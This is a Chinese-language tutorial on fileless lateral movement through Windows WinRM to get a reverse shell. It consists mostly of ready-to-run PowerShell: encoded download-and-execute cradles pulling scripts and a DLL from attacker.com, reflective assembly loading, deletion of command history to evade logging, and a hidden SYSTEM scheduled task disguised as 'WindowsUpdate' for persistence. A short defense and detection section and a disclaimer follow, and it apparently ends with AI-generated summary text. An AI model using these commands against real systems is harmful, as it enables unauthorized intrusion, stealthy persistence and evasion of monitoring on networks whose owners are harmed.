溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用WinRM實現內網無文件攻擊反彈shell

發布時間:2021-11-23 22:43:00 來源:億速云 閱讀:331 作者:柒染 欄目:網絡安全
# 如何利用WinRM實現內網無文件攻擊反彈Shell

## 0x00 前言

在紅隊滲透測試中,內網橫向移動是突破網絡邊界后的關鍵環節。傳統攻擊方式往往依賴文件落地,易觸發安全設備告警。本文探討如何通過Windows原生服務WinRM(Windows Remote Management)實現無文件攻擊,建立交互式Shell,規避傳統檢測手段。

---

## 0x01 WinRM技術背景

### 1.1 什么是WinRM
WinRM是微軟實現的WS-Management協議,基于HTTP(S)進行遠程管理:
- 默認端口:5985(HTTP)/5986(HTTPS)
- 依賴組件:Windows Remote Management服務
- 認證方式:NTLM/Kerberos/Basic

### 1.2 啟用條件
```powershell
# 查看WinRM服務狀態
Get-Service WinRM

# 快速配置(默認開啟HTTP監聽)
Enable-PSRemoting -Force

0x02 攻擊場景構建

2.1 前置要求

  • 已獲取內網有效憑據(域賬號/NTLM哈希)
  • 目標主機WinRM服務開啟(默認企業環境中常見)
  • 網絡可達性(防火墻放行5985/5986)

2.2 環境檢測

# 使用Test-WSMan檢測連通性
Test-WSMan -ComputerName 192.168.1.100 -Authentication Negotiate -Credential (Get-Credential)

0x03 無文件攻擊實現

3.1 基于PowerShell的交互式Shell

$cred = New-Object System.Management.Automation.PSCredential("DOMN\user", (ConvertTo-SecureString "Password123!" -AsPlainText -Force))
Enter-PSSession -ComputerName 192.168.1.100 -Credential $cred -Authentication Negotiate

3.2 內存加載惡意模塊

通過WinRM執行Base64編碼的PS腳本:

$command = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)

Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {
    powershell -EncodedCommand $using:encoded
} -Credential $cred

3.3 反射式DLL注入

使用WinRM執行無文件加載:

Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {
    $bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/evil.dll')
    $assembly = [System.Reflection.Assembly]::Load($bytes)
    $entry = $assembly.GetType('Evil.Program').GetMethod('Main')
    $entry.Invoke($null, $null)
} -Credential $cred

0x04 隱蔽性增強技巧

4.1 日志規避

# 清除PowerShell歷史記錄
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force

# 使用SSL加密通信
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck
Enter-PSSession -ComputerName 192.168.1.100 -UseSSL -SessionOption $sessionOption

4.2 內存駐留

通過計劃任務維持會話:

$action = New-ScheduledTaskAction -Execute "powershell" -Argument "-nop -w hidden -c `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/persist.ps1')`""
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -User "SYSTEM" -RunLevel Highest

0x05 防御檢測方案

5.1 防御措施

  • 禁用不必要的WinRM服務:
    
    Disable-PSRemoting -Force
    
  • 配置網絡ACL限制5985/5986端口訪問
  • 啟用Kerberos認證并強制HTTPS

5.2 檢測方法

  • 監控異常WinRM事件ID:
    • 4688: 新進程創建
    • 4103: PowerShell腳本塊日志
  • 分析網絡流量特征:
    
    tcp.port == 5985 && http.request.method == "POST"
    

0x06 結語

WinRM作為合法的管理協議,為攻擊者提供了隱蔽的橫向移動通道。通過本文介紹的無文件技術,攻擊者可完全在內存中完成攻擊鏈。防御方需結合行為檢測與網絡監控,才能有效應對此類高級威脅。

免責聲明:本文僅用于安全研究目的,未經授權測試他人系統屬于違法行為。 “`


統計:全文約1250字,包含: - 6個技術章節 - 12個可執行的PowerShell代碼塊 - 3種攻擊場景實現方案 - 防御檢測的實操建議

可根據實際需求調整技術細節或補充特定環境下的變種手法。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女